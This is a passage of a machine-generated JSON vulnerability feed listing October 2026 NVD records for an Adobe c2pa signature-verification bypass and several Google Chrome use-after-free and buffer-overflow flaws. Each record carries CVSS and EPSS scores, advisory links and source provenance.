CVE-2026-95633","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-95633","type":"primary","publishedAt":"2026-10-13T22:19:30.733Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.adobe.com/trust/security/products/content-credentials-sdk/apsb26-163.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-95633&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-95633, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-95632","cveId":"CVE-2026-95632","aliases":[],"kind":"vulnerability","title":"CAI Content Credentials is affected by an Improper Verification of Cryptographic Signature vulnerability that could result in a Security feature bypass.","summary":"CAI Content Credentials is affected by an Improper Verification of Cryptographic Signature vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized write access. Exploitation of this issue does not require user interaction.","detail":"CAI Content Credentials is affected by an Improper Verification of Cryptographic Signature vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized write access. Exploitation of this issue does not require user interaction.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T22:19:30.610Z","updatedAt":"2026-10-15T18:42:21.200Z","regions":["Global"],"vendor":"adobe","product":"c2pa","stacks":["Adobe","c2pa"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-95632","asOf":"2026-10-15T18:42:21.200Z"},"epss":{"probability":0.00456,"percentile":0.39286,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-95632&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-95632","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-95632","type":"primary","publishedAt":"2026-10-13T22:19:30.610Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.adobe.com/trust/security/products/content-credentials-sdk/apsb26-163.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-95632&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-95632, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110172","cveId":"CVE-2026-110172","aliases":[],"kind":"vulnerability","title":"Use after free in Media in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in Media in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","detail":"Use after free in Media in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T22:17:37.237Z","updatedAt":"2026-10-15T04:18:22.620Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110172","asOf":"2026-10-15T04:18:22.620Z"},"epss":{"probability":0.00264,"percentile":0.18198,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110172&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110172","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110172","type":"primary","publishedAt":"2026-10-13T22:17:37.237Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_01668083673.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110172&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110172, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110171","cveId":"CVE-2026-110171","aliases":[],"kind":"vulnerability","title":"Use after free in Media in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in Media in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","detail":"Use after free in Media in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T22:17:37.127Z","updatedAt":"2026-10-15T04:18:22.430Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110171","asOf":"2026-10-15T04:18:22.430Z"},"epss":{"probability":0.00264,"percentile":0.18199,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110171&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110171","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110171","type":"primary","publishedAt":"2026-10-13T22:17:37.127Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_01668083673.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110171&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110171, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110169","cveId":"CVE-2026-110169","aliases":[],"kind":"vulnerability","title":"Use after free in V8 in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in V8 in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","detail":"Use after free in V8 in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T22:17:36.907Z","updatedAt":"2026-10-15T04:18:22.243Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110169","asOf":"2026-10-15T04:18:22.243Z"},"epss":{"probability":0.00264,"percentile":0.18199,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110169&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110169","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110169","type":"primary","publishedAt":"2026-10-13T22:17:36.907Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_01668083673.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110169&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110169, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110168","cveId":"CVE-2026-110168","aliases":[],"kind":"vulnerability","title":"Use after free in V8 in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in V8 in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","detail":"Use after free in V8 in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T22:17:36.800Z","updatedAt":"2026-10-15T04:18:22.053Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110168","asOf":"2026-10-15T04:18:22.053Z"},"epss":{"probability":0.00264,"percentile":0.18198,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110168&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110168","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110168","type":"primary","publishedAt":"2026-10-13T22:17:36.800Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_01668083673.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110168&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110168, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110167","cveId":"CVE-2026-110167","aliases":[],"kind":"vulnerability","title":"Use after free in Media in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in Media in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","detail":"Use after free in Media in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T22:17:36.693Z","updatedAt":"2026-10-15T04:18:21.867Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110167","asOf":"2026-10-15T04:18:21.867Z"},"epss":{"probability":0.00264,"percentile":0.18199,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110167&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110167","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110167","type":"primary","publishedAt":"2026-10-13T22:17:36.693Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_01668083673.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110167&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110167, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110166","cveId":"CVE-2026-110166","aliases":[],"kind":"vulnerability","title":"Buffer overflow in Animation in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Buffer overflow in Animation in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","detail":"Buffer overflow in Animation in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T22:17:36.590Z","updatedAt":"2026-10-15T04:18:21.680Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110166","asOf":"2026-10-15T04:18:21.680Z"},"epss":{"probability":0.00296,"percentile":0.22075,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110166&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110166","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110166","type":"primary","publishedAt":"2026-10-13T22:17:36.590Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_01668083673.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110166&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110166, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110164","cveId":"CVE-2026-110164","aliases":[],"kind":"vulnerability","title":"Use after free in DOM in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in DOM in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","detail":"Use after free in DOM in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T22:17:36.377Z","updatedAt":"2026-10-15T04:18:21.327Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110164","asOf":"2026-10-15T04:18:21.327Z"},"epss":{"probability":0.00264,"percentile":0.18199,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110164&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110164","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110164","type":"primary","publishedAt":"2026-10-13T22:17:36.377Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_01668083673.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110164&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110164, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110163","cveId":"CVE-2026-110163","aliases":[],"kind":"vulnerability","title":"Use after free in DOM in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in DOM in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","detail":"Use after free in DOM in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T22:17:36.267Z","updatedAt":"2026-10-15T04:18:21.133Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110163","asOf":"2026-10-15T04:18:21.133Z"},"epss":{"probability":0.00317,"percentile":0.24438,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110163&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110163","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110163","type":"primary","publishedAt":"2026-10-13T22:17:36.267Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_01668083673.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110163&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110163, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110162","cveId":"CVE-2026-110162","aliases":[],"kind":"vulnerability","title":"Use after free in Desktop in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in Desktop in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","detail":"Use after free in Desktop in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T22:17:36.160Z","updatedAt":"2026-10-15T04:18:20.953Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110162","asOf":"2026-10-15T04:18:20.953Z"},"epss":{"probability":0.00317,"percentile":0.24438,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110162&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110162","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110162","type":"primary","publishedAt":"2026-10-13T22:17:36.160Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_01668083673.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110162&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110162, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110158","cveId":"CVE-2026-110158","aliases":[],"kind":"vulnerability","title":"Use after free in Passwords in Google Chrome prior to 155.0.8059.79 allowed a remote attacker who had compromised the renderer process to execute arbitrary code outside the...","summary":"Use after free in Passwords in Google Chrome prior to 155.0.8059.79 allowed a remote attacker who had compromised the renderer process to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)","detail":"Use after free in Passwords in Google Chrome prior to 155.0.8059.79 allowed a remote attacker who had compromised the renderer process to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and 